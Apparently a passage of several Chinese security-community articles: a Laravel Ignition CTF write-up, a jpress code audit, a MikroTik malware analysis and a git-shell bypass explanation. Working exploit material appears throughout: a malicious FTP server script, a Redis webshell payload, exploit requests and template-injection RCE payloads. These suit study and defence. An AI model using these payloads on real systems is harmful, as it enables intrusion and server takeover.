conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则：35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据连接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件，需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
运行上述脚本，一个恶意ftp服务就起来了：
这个脚本做的事情很简单，就是当客户端第一次连接的时候返回我们预设的payload；当客户端第二次连接的时候将客户端的连接重定向到
127.0.0.1:9000，也就是目标主机上 php-fpm 服务的端口，从而造成 SSRF，攻击其 php-fpm。
最后，构造如下请求，即可触发攻击并反弹 Shell：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.12:8000
Content-Type: application/json
Content-Length: 189
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://[email protected]:23/123"
}
}
### [2021 羊城杯CTF]Cross The Side
进入题目，又是 Laravel：
根据 Laravel 的版本猜测应该是 Laravel Debug mode RCE，但是尝试 Debug RCE
并没有成功，可能是日志文件太大的原因。然后端口扫描发现其本地 6379 端口上有一个 Redis，猜测本题应该是通过 FTP 被动模式打内网的
Redis。参照前面所讲的原理，直接打就行了。
首先生成攻击 Redis 的 Gophar Payload：
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成的 payload 只取 `_` 后面的数据部分：
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
然后在攻击机上搭建一个恶意的 FTP 服务，并将上面的 Payload 中的数据替换掉下面 FTP 脚本中的 Payload 的内容：
# -*- coding: utf-8 -*- # @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/public%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 2333))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 47,101,57,72,0,2333\n") # 服务端告诉客户端需要到那个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
else:
conn.send(b"227 127,0,0,1,0,6379\n") # 端口计算规则：35*256+40=9000
print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n，第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()
# 第一次连接是下载文件，需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
这个脚本做的事情很简单，就是当客户端第一次连接的时候返回我们预设的 Payload；当客户端第二次连接的时候将客户端的连接重定向到
127.0.0.1:6379，也就是目标主机上 Redis 服务的端口，从而造成 SSRF，攻击其 Redis。
运行 ftp_redirect.py：
然后发送请求就行了：
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.41.107:8077
Content-Type: application/json
Content-Length: 190
{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "ftp://[email protected]:23/123"
}
}
执行后，成功写入 Webshell，然后读取 flag 就行了： | 社区文章 |
# jpress V4.2 代码审计
## 0x01 前言
最近做 CMS 审计的时候恰好碰到了这么一个框架，学习漏洞不光是要会打，还要明白原理，结合网站可知；是用 jpress V4.2
搭建的，来学习一手。（后面发现是 就press3.0，我是小丑
jpress 类似于 WordPress Write in Java，和 PHP 的 WordPress 非常像。不过 Java 搭建环境会比 PHP
要复杂一些，当时我自己也是因为环境搭建的问题卡了很久（非常多的问题，不只是 maven，这一块踩坑的师傅可以滴滴我
比起普通的 SpringBoot 搭建的 Java 环境相比，jpress 使用的 jBoot，和 SpringBoot
十分类似，不过看点其他架构写的项目也是比较有趣。
## 0x02 环境搭建
* 这个项目的环境搭建会有点烦躁
项目地址：<https://github.com/JPressProjects/jpress>
去到 release 页面下，下载 v4.2 版本的，后续会对新版本当中的漏洞进行挖掘。
下载完毕项目之后，先在项目界面输入命令
mvn clean package
此处比较坑，我遇到的问题是
Failed to execute goal org.apache.maven.plugins:maven-jar-plugin:2.4:jar (default-jar) on project codegen: Execution default-jar of goal org.apache.maven.plugins:maven-jar-plugin:2.4:jar failed: A required class was missing while executing org.apache.maven.plugins:maven-jar-plugin:2.4:jar: org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection
将存储 maven 仓库的所有库都删掉即可，接着再执行命令即可。
搭建完毕之后创建数据库，但不要导入文件，也不要修改任何配置，直接跑项目。
项目跑起来之后会访问到 <http://localhost:8080/install> 下
按照要求完成安装之后，会让你配置一些网站信息。
至此，搭建完成！
在 undertow.txt 中可以修改端口
## 0x03 代码审计
### 代码审计准备
#### 架构理解
jpress 项目分为前台页面和后台管理界面，前台页面是纯前端的内容，所以漏洞点主要是在后台管理页面这里。
在后台管理界面这里，需要在模板 ---> 所有模板中选择对应的模板，才能在前台页面看到一些漏洞的回显。比如 XXE，XSS
这些，在公司测试的时候没有注意到这一点，吃了些亏。
#### pom.xml 与 Filter 等审计
查看父项目的 pom.xml，发现用的都是最新版本的组件，理论上不存在组件漏洞。
此项目中不存在 Filter，这就意味着很可能存在 SQL 注入或者是 XSS
> 存在多 module，需要我们对不同 module 功能块进行审计，尽量从一个漏洞发现者的角度去看，这样还是可以学到很多的。
### 模板渲染引起的 RCE
#### 影响接口
/admin/article/setting
/admin/page/setting
/admin/product/setting
/admin/template/edit
* 在 `setting` 目录下存在好几处的模板渲染漏洞
#### 漏洞分析
为什么想到这个漏洞呢？原因是在文章 ------> 设置这里面的 "评论邮件通知管理员" 中；官方给出了例子，告诉我们可以用
`#(comment.id)`，那么猜测这里可能会存在模板渲染问题，此处对应的模板是 Velocity
进去看与文章评论相关的类，找到是这一个 ————
`io.jpress.module.article.controller.front.ArticleController`，这里是有关于前台页面当中，对于文章的管理的一个类。我们在
`postComment()` 方法处下一个断点，这个方法的作用主要是将评论信息保存到数据库，同时还会发送短信通知网站管理员。
我们先开启文章评论的功能，如图
接着发布一条评论，来看一看它的运行流程。
前面是一系列的赋值与基础判断，有兴趣的师傅们可以自行调试看一下，属于是很简单的部分。直接看重点部分，第 268 行。
跟进一下，进入到 `notify()` 方法，它这里面定义了两种将评论发送给管理员的方式，一种是 Email 的形式，另外一种是 Sms 的形式。我们先跟进
email 的看一下，这里会先判断是否开启了 `article_comment_email_notify_enable`，如果开启了则进入到 email
的形式当中。
跟进 `doSendEmail()` 方法，它去做了 SendEmail 这个动作的具体业务实现。
`doSendEmail()` 方法前面都是一些基础赋值，到第 90 行看到了模板渲染操作，在第 90 和 91 行，分别对邮件的 emailTitle 和
emailTemplate 调用 `getTemplateByString()` 方法进行渲染，这两个变量对应 `#(comment.id)` 处的两个值。
* 而漏洞的触发点实际上是在同一行语句的 `renderToString()` 方法下。
跟进 `render()` 方法
发现里面存在一个危险方法 `exec()`，跟进一下，在 `exec()` 方法当中对输入的评论进行遍历。
连续跟进一下，会到 `com.jfinal.template.expr.ast.Method` 这个类的 `eval()` 方法下，对应的调用栈如下
eval:81, Method (com.jfinal.template.expr.ast)
assignVariable:102, Assign (com.jfinal.template.expr.ast)
eval:95, Assign (com.jfinal.template.expr.ast)
exec:57, Set (com.jfinal.template.stat.ast)
exec:68, StatList (com.jfinal.template.stat.ast)
render:74, Template (com.jfinal.template)
renderToString:91, Template (com.jfinal.template)
doSendEmail:91, ArticleNotifyKit (io.jpress.module.article.kit)
lambda$byEmail$16:70, ArticleNotifyKit (io.jpress.module.article.kit)
run:-1, 1607068801 (io.jpress.module.article.kit.ArticleNotifyKit$$Lambda$79)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
此处就可以很明显的看到存在反射调用任意类的命令执行漏洞
在 Velocity 这个模板引擎当中非常奇妙，先从模板引擎说起，师傅们都知道模板引擎有时候是可以写脚本的，可以进行一些简单的赋值与输出这类的操作。
在 Velocity 中 `"#"` 用来标识 Velocity 的脚本语句，包括 `#set、#if
、#else、#end、#foreach、#end、#iinclude、#parse、#macro` 等；
如：
#if($info.imgs)
<img src="$info.imgs" border=0>
#else
<img src="noPhoto.jpg">
#end
那么在这一个 PoC 当中，我们可以借助 Fastjson 的特性辅助攻击。
* 构造 PoC 如下，并将它插入到评论的内容当中。
#set(x=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager"))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
按照道理来说，这里前台只要输入任意的东西，就可以造成 SSTI To RCE 这么一个效果，但是这里却抛出了异常，具体位置是在
`renderToString()` 方法调用之后抛出了异常，如图。
仔细看一下报错信息：其实是在说，第三行的地方存在着不合法的字符，这个字符其实是单引号。
所以这里我们需要用另外一种方式来打，尝试不使用引号构造 payload，构造出了如下 payload，我们将字符串内容通过评论内容进行传入
#set(str=comment.content)
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#set(sem=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#(x.addAccept(sem))
#set(json=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(x=com.alibaba.fastjson.JSON::parse(json))
#set(js=str.substring(0, str.indexOf(124)))
#set(str=str.substring(str.indexOf(124)+1))
#set(e=x.getEngineByName(js))
#(e.eval(str))
因为后端在渲染模板时将 comment 对象传入了，所以我们可以获取 `comment.content`，而这个值又是在评论时可控的，配合 Fastjson
打。
在评论的地方构造 payload
javax.script.ScriptEngineManager|{"@type":"javax.script.ScriptEngineManager"}|js|java.lang.Runtime.getRuntime().exec("calc")
攻击成功！
#### 漏洞修复
我认为的修复方式会比较贴近于 Velocity 的一些修复方式，而 Velocity
到目前最新版本也没有提供沙盒或者防御方式，只能禁止或严格过滤用户输入进入 `Velocity.evaluate`。但是这一框架是作者团队自己编写的，并非
Velocity
但是在这一个项目当中，我们可以去看一下 jpress V5.0.5 的版本当中是如何修复的，这个地方当时自己找的时候花了很久时间。
jpress V5.0.5，也就是最新版本当中，是通过转义字符来修补这个漏洞的。挺妙的，代码量小且利用效率高，很强。它的修补手段是在 `getPara()`
方法处先做一个转义，具体代码的调用栈如下
cleanXss:79, XSSHttpServletRequestWrapper (io.jboot.web.xss)
getParameter:32, XSSHttpServletRequestWrapper (io.jboot.web.xss)
getParameter:161, ServletRequestWrapper (javax.servlet)
getPara:189, Controller (com.jfinal.core)
postComment:148, ArticleController (io.jpress.module.article.controller.front)
跟进 `escapeHtml()` 方法，它调用了 `replaceEach()` 方法，`replaceEach()`
方法做了转义恶意字符的工作，有兴趣的师傅们可以跟进自行调试一下，很简单。
### 前台任意文件上传漏洞
#### 影响接口
/ucenter/avatar
漏洞影响域在 `/ucenter/avatar` 下，这里对应的接口找了很久，最后终于找到是在
`io.jpress.web.commons.controller.AttachmentController#upload` 处
#### 漏洞分析
产生漏洞的根本原因是，Web 应用程序允许上传一个 `file[]` 数组，而非单个文件，从而我们可以构造多个文件同时上传来绕过。
直接讲代码非常抽象，我们这里先上 payload 打，通过上传多个文件，使后续的文件绕过恶意文件的判断
攻击的效果是在 `/attachment` 文件夹下，能够上传我们的恶意文件，同样能够访问得到。但是这里有个小问题，我们可以尝试上传 jsp 与 jspx
来写 | 社区文章 |
# 攻击者如何使用虚假浏览器更新攻击MikroTik路由器
|
##### 译文声明
本文是翻译文章，文章原作者 Malwarebytes，文章来源：blog.malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/10/fake-browser-update-seeks-to-compromise-more-mikrotik-routers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
MikroTik是一家拉脱维亚公司生产的路由器和ISP无线系统，在过去几个月中，该产品一直在应对其操作系统存在的数个安全漏洞。自2018年4月下旬研究人员发现RouteOS中存在一个严重漏洞（
<https://forum.mikrotik.com/viewtopic.php?t=133533>
）以来，针对该产品的攻击一直在以惊人的增长速度发生。更糟糕的是，随着CVE-2018-14847漏洞利用方法（ <https://www.exploit-db.com/exploits/45578/> ）的出现，产品遭受到了更为猛烈的攻击。
尽管厂商已经发布了安全补丁程序，但目前仍有大量MikroTik路由器没有更新补丁，并且被攻击者成功攻陷，这样一来就产生了严重的安全问题。攻击者根据概念证明（PoC）代码，在短时间内迅速攻陷了数十万台设备。在去年夏天，SpiderLabs的研究人员通过被入侵后的MikroTik设备，发现了可能是迄今为止最大规模的Coinhive恶意活动（
<https://www.trustwave.com/Resources/SpiderLabs-Blog/Mass-MikroTik-Router-Infection-%E2%80%93-First-we-cryptojack-Brazil,-then-we-take-the-World-/>
），现在这一恶意活动的覆盖范围可能更加广泛。
通过最新的攻击方法，被感染的路由器可以向用户展示一个虚假的浏览器更新页面。当用户运行此恶意更新时，会将恶意代码解压缩到计算机上。随后，被感染计算机将在网络上执行扫描，发现其他存在漏洞的路由器，并尝试对它们进行漏洞利用。
## 可疑的浏览器更新
安全研究员[@VriesHd](https://github.com/VriesHd "@VriesHd")率先发现了一种新的恶意活动（
<https://twitter.com/VriesHd/status/1049775664235208706>
），攻击者试图利用典型的社会工程学技术，尝试进一步攻陷存在漏洞的路由器。假如网络供应商存在受感染的MikroTik路由器，那么就会将终端用户的合法请求跳转到一个写着“旧版浏览器”的重定向页面：
根据Censys的调查结果（
<https://censys.io/ipv4?q=%22During+the+opening+of+the+site%22+AND+%22MikroTik+Device%22>
），现在有大约11000个被感染的MikroTik设备上托管了这一假冒的下载页面：
可疑浏览器更新文件将会从指定FTP服务器下载，如下所示：
有意思的是，这一IP地址也作为免费公开的Web代理在网络上发布。一些希望绕过某些国家或地区网络限制的用户（例如，不在美国的用户想要观看美国版的Netflix），或者是希望隐藏自己真实IP地址的用户，通常会使用代理。
## Payload分析
### 行为分析
Payload将自己伪装成一个名为updbrowser的安装程序。
当我们运行恶意安装程序时，会弹出一个错误提示。
然而，如果我们在这时对网络流量进行捕获，可以看到它实际上在后台扫描各种IP地址，并尝试连接8291端口（通过Winbox应用程序管理MicroTik路由器的默认端口）：
### 脱壳过程
投放的Payload是一个相对较大的可执行文件（文件大小为7.25MB）。经过分析，其头部内容及可视化视图如下：
我们通过其名称上的特征，发现该恶意软件使用了一个流行且简单的加壳工具UPX（ <https://upx.github.io/>
）进行加壳。根据其叠加的大小判断，该文件中还包含更多需要提取的内容。经过进一步分析，发现该恶意软件会将Python
DLL和其他相关文件解压到%TEMP%文件夹中，然后对它们进行加载。由此，很容易猜测这个EXE实际上是一个经过包装后的Python脚本。我们可以参考这里的步骤对其进行脱壳：
<https://hshrzd.wordpress.com/2018/01/26/solving-a-pyinstaller-compiled-crackme/> 。
入口点位于名为upd_browser的脚本中。在对脚本进行反编译和跟踪之后，我们有两个Python脚本是该恶意软件的核心，分别是upd_browser.py和ups.py。
### 深入分析脚本
该脚本模块中的main函数（
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-upd_browser-py-L95> ）比较简单：
如我们所见，弹出的错误提示是硬编码的（
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-upd_browser-py-L97> ）。也就是说，它并不是一个实际发生的错误，而是一个掩人耳目的手段。
在弹出错误提示之后，恶意软件通过查询跟踪器的硬编码地址，来记录被感染设备的IP地址，这一跟踪器实际上利用了合法服务IP
Logger。该跟踪器使用了一个像素大小的图像形式进行记录：
此后，会在预先定义好的指定时间间隔后，重复查询该地址。
最关键的操作是在名为scan的函数（
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-upd_browser-py-L75>
）中执行的，该函数部署在多个并行线程中（最大线程数定义为thmax=600）。函数scan会生成伪随机IP地址，并尝试通过上文所述的8291端口连接这些地址。如果连接成功，那么就会在56778-56887端口范围内随机尝试进行另一个连接。如果失败，那么就继续漏洞利用过程：
函数poc（
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-upd_browser-py-L5>
）的作用是利用已知漏洞感染路由器。该函数首先尝试利用路径遍历漏洞（CVE-2018-14847）来检索被感染主机上的凭据：
user.dat文件应为M2格式，因此脚本附带一个内置的解析器（也就是loadfile函数，
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-ups-py-L117> ）：
如果从user.dat文件中成功检索到密码，就会解密凭据，并使用该凭据来创建后门：一个管理员账户，其密码是随机生成的。此外，还设置了路由器执行的计划任务。
调度程序中设置的脚本，是根据硬编码的模板（
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-ups-py-L30> ）生成的。在这里，我们提供了整理后的版本：
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-script_template-txt> 。该脚本的作用是，修改路由器的配置，并且设置能加载CoinHive挖矿程序的错误页面。
错误页面可能位于以下两个位置：webproxy/error.html或flash/webproxy/error.html。
两个错误页面的内容如下：
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-script_template-txt-L42>
<https://gist.github.com/malwarezone/e437bb06d0d19a2d02ffd98cffe2b2c4#file-script_template-txt-L43>
只要用户访问了拒绝访问的URL，就会向用户显示这样的错误页面。但是，经过对路由器中配置的恶意脚本进行分析，我们发现基本上任何HTTP请求都会产生错误。然而，由于这一错误页面的目的是针对原始流量实现欺骗，因此请求的页面会显示为iframe。因此，用户依然可以正常浏览大部分网页，而不会注意到有异常之处。例如：
CoinHive挖矿程序是嵌入式的，因此在这段时间内，被感染主机将被用于挖矿。
## 缓解措施
针对MikroTik用户，建议尽快在路由器上运行更新补丁。如果目前运行的仍为受漏洞影响版本，那么应该假设系统上的身份验证凭据已经发生泄漏。在MikroTik的下载页面（
<https://mikrotik.com/download> ）上，介绍了如何升级RouterOS。
由于很多用户不会习惯性地升级路由器，因此这些用户应该清楚这一漏洞的存在，并且了解漏洞利用的难度。然而，许多终端用户无法进行路由器的更新，还需要他们的网络供应商在上游来执行这一操作。
从这次攻击的案例中，我们可以看到，攻击者如何感染普通用户，并使用他们的计算机扫描互联网上其他存在漏洞的路由器。这种技术非常聪明，因为扫描行为需要大量的时间和资源，而将这一任务分布到每一台被感染主机，无疑效率是更高的。
## IoC
样本哈希值：
57EB8C673FC6A351B8C15310E507233860876BA813ED6AC633E9AF329A0BBAA0
ConHive站点密钥：
oiKAGEslcNfjfgxTMrxKGMJvh436ypIM
5zHUikiwJT4MLzQ9PLbU11gEz8TLCcYx
5ROof564mEBQsYzCqee0M2LplLBEApCv
qKoXV8jXlcUaIt0LGcMJIHw7yLJEyyVO
ZsyeL0FvutbhhdLTVEYe3WOnyd3BU1fK
ByMzv397Mzjcm4Tvr3dOzD6toK0LOqg
joy1MQSiGgGHos78FarfEGIuM5Ig7l8h
ryZ1Dl4QYuDlQBMchMFviBXPL1E1bbGs
jh0GD0ZETDOfypDbwjTNWXWIuvUlwtsF
BcdFFhSoV7WkHiz9nLmIbHgil0BHI0Ma | 社区文章 |
# 【技术分享】CVE-2017-8386：利用less命令绕过git-shell限制（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：insinuator.net
原文地址：<https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[ **running_wen**](http://bobao.360.cn/member/contribute?uid=345986531)
**预估稿费：140RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
git-shell在git远程会话之上引入了ssh隧道，是一种受限的shell。其背后的基本思想就是，在ssh会话中限制能够执行的命令，使其仅仅能执行git需要的相应命令。git需要执行的命令如下
：
git-receive-pack
Receives repository updates from the client.
git-upload-pack
Pushes repository updates to the client.
git-upload-archive
Pushes a repository archive to the client.
除了上面这几个自带命令，管理员也可以通过shell脚本文件或者其他可执行文件来提供自定义命令。由于这些自定义的都是完全自定义的，因此此处主要讨论自带的命令。
如果你熟悉git，那你可能知道大部分服务器都会将git协议封装在SSH、HTTP/S[3]协议中。这是因为，git协议是基于简单文本的协议[4]，在数据传输时并不提供任何认证或者保护机制。通常的做法是利用SSH协议实现repository写权限的控制，因为SSH协议本身提供多种认证机制、可靠的加密、低的协议额外开销。
使用SSH的缺点是，期初SSH是为了远程用户提供Shell访问。而通常情况下，git用户是不具备shell访问能力的。为了限制连接，使其仅仅能够访问repository，我们需要将原始shell（典型的就是bash
shell，或者类似的）替换为更受限的shell。大型主机厂商通常都自己实现上面git命令的功能。但是也能使用git开发者提供的shell（该shell限制为仅仅允许与调用执行白名单中的命令）。
搭建过程很简单。比较建议在服务器上服务器上创建一个特定用户，并 使用git-shell命令作为
该用户的login shell[5]。另一种方式是，使用SSH
force命令，是你能够对每一个客户端进行限制（依赖于登录过程中使用的key），后面还会介绍其他 方式。
如果在本地repository中设置好了可远程访问的repository，git push命令本质上会执行下面的命令：
ssh git@remoteserver “git-receive-pack ‘/myrepository.git'”
008957d650a081a34bcbacdcdb5a94bddb506adfe8e0 refs/heads/develop report-status delete-refs side-band-64k quiet ofs-delta agent=git/2.1.4
003fbe8910f121957e3326c4fdd328ab9aabd05abdb5 refs/heads/master
00000000
如果两个repository具有同样的提交，如果执行的命令不在白名单中（不是上面列举的自带命令，也不在home目录下的git-shell-commands目录下），那么会报错提示命令无法识别。由于不是交互式shell，典型的命令注入攻击此处并不适用。相反，命令行仅仅以空格分隔开（引号包含的是整体），并被execve执行。
上面的情况，有让我更多的考虑赋值协议处理的二进制文件本身。git本身提供help命令，能针对特定命令打开帮助页面(man page)，如init命令：
$ git help init
GIT-INIT(1) Git Manual GIT-INIT(1)
NAME
git-init - Create an empty Git repository or reinitialize an existing one
[...]
其他的一些命令也可以通过-help参数来显示该命令对应的帮助页面，如下所示：
$ git init --help
GIT-INIT(1) Git Manual GIT-INIT(1)
NAME
git-init - Create an empty Git repository or reinitialize an existing one
[...]
同样，这也适用于git-receive-pack、git-upload-archive命令。在服务器上运行git-receive-pack
-help命令，如下所示：
$ ssh git@remoteserver "git-receive-pack '--help'"
GIT-RECEIVE-PACK(1) Git Manual GIT-RECEIVE-PACK(1)
NAME
git-receive-pack - Receive what is pushed into the repository
[...]
但是怎样才能绕过能够执行命令的限制呢？在大多数系统上，如果使用man命令打开帮助页面，man
specification被解析、渲染，并以ANSI输出，通过管道传递给pager（通常是less命令）。这样，我们就可以滚动与搜索帮助页面，而与terminal终端的大力与容量无关。
除了作为一个简单的pager，less命令还具有额外的交互性特性。它允许你打开其他的文件并读取，输出当前输出到log文件，在当前shell下执行系统命令。要想能够利用这些特性，需要在交互式模式下运行less命令。在pty可用情况下，交互式模式可用。通常SSH连接到服务器，pty就启用了，但直接运行命令是pty不可用。幸运的是，我们可以强制ssh
客户端分配一个pty（只要服务器端没有禁用它，通常服务端也不会禁用它）。运行实例如下：
$ ssh -t git@remoteserver "git-receive-pack '--help'"
GIT-RECEIVE-PACK(1) Git Manual GIT-RECEIVE-PACK(1)
NAME
git-receive-pack - Receive what is pushed into the repository
Manual page git-receive-pack(1) line 1 (press h for help or q to quit)
现在我们可以使用less命令的交互特性。上面建议的建立方式有一个限制，那就是由于shell执行任然是在当前git-shell环境下，之前git-shell对ssh中能执行的命令限制同样适用于此时能执行的命令。不管怎样，我们限制可以读文件、列举目录（利用tab补全），并将当前显示结果输出到文件（如果能够控制文件部分内容，则作用更大）
如你所料，还有另一种适用git-shell的方式，虽然不是很常见。该方法适用于限制特定用户能访问repository，或者不允许改变git用户的shell的情况。
此时，我们将login shell提供给用户，并在.ssh/authorized_keys文件中指定git-shell命令来限定用户。限定用户的代码如下:
command="git-shell -c "$SSH_ORIGINAL_COMMAND"" ssh-rsa AAAAB3NzaC1yc2EA[...]
除了能执行less命令，上面的配置其他行为与配置为log shell的相同。
另外，你也可以给force命令提供额外参数来限制ssh的特性。最常见的标记就是no-pty[6]，这能防止客户端请求一个pty，这样就不能在交互式模式下运行less命令。
**时间线**
2017-04-25 Reported to the git-security mailing list
2017-05-01 Assigned CVE-2017-8386
2017-05-10 Release of the fixed versions v2.4.12, v2.5.6, v2.6.7, v2.7.5,
v2.8.5, v2.9.4, v2.10.3, v2.11.2, v2.12.3 and v2.13.0
**参考**
[1] <https://about.gitlab.com/2017/04/05/gitlab-9-dot-0-dot-4-security-release/>
[2] <https://about.gitlab.com/2017/05/08/gitlab-9-dot-1-dot-3-security-release/>
[3] <https://git-scm.com/book/no-nb/v1/Git-on-the-Server-The-Protocols>
[4] <https://github.com/git/git/blob/master/Documentation/technical/pack-protocol.txt>
[5] <https://git-scm.com/book/en/v2/Git-on-the-Server-Setting-Up-the-Server>
[6]
[http://man.openbsd.org/sshd#command=”command”](http://man.openbsd.org/sshd#command=%E2%80%9Dcommand%E2%80%9D) | 社区文章 |
### 0x01 前言
笔者很喜欢Xerosploit这个工具 奈何其并不支持MacOS 也就意味着日常使用都需要到虚拟机里面去运行 很是麻烦 仔细看了一下Xero的代码
主要集成bettercap和nmap这两个项目（都支持MacOS）其代码并不复杂 就算自己基于MacOS重写一个也不是什么难事 但是怕喷子们骂抄袭嘛
故决定直接移植算了（工程量并不亚于重写。）
### 0x02 代码分析/修改
Github下载代码后通过tree命令可以看到其代码架构如下：
├── LICENSE
├── Makefile
├── README.md
├── banner.py
├── debian
│ ├── changelog
│ ├── compat
│ ├── control
│ ├── copyright
│ ├── rules
│ └── source
├── install.py
├── run.sh
├── tools
│ ├── bettercap
│ ├── files
│ └── log
└── xerosploit.py
（为避免篇幅过长三级目录被笔者删除了）
核心文件其实就两个`install.py`以及`xerosploit.py`
按照[官方说明](https://github.com/LionSec/xerosploit/blob/master/README.md) 需要依次执行：
git clone https://github.com/LionSec/xerosploit
cd xerosploit && sudo python install.py
sudo xerosploit
很明显 需要先修改安装文件`install.py`
#### 0x02_01 安装文件`install.py`
由于代码篇幅并不长 笔者就直接贴上来了。
if not os.geteuid() == 0:
sys.exit("""\033[1;91m\n[!] Xerosploit installer must be run as root. ¯\_(ツ)_/¯\n\033[1;m""")
print(""" \033[1;36m
┌══════════════════════════════════════════════════════════════┐
█ █
█ Xerosploit Installer █
█ █
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
def main():
print("\033[1;34m\n[++] Please choose your operating system.\033[1;m")
print("""
1) Ubuntu / Kali linux / Others
2) Parrot OS
""")
system0 = raw_input(">>> ")
if system0 == "1":
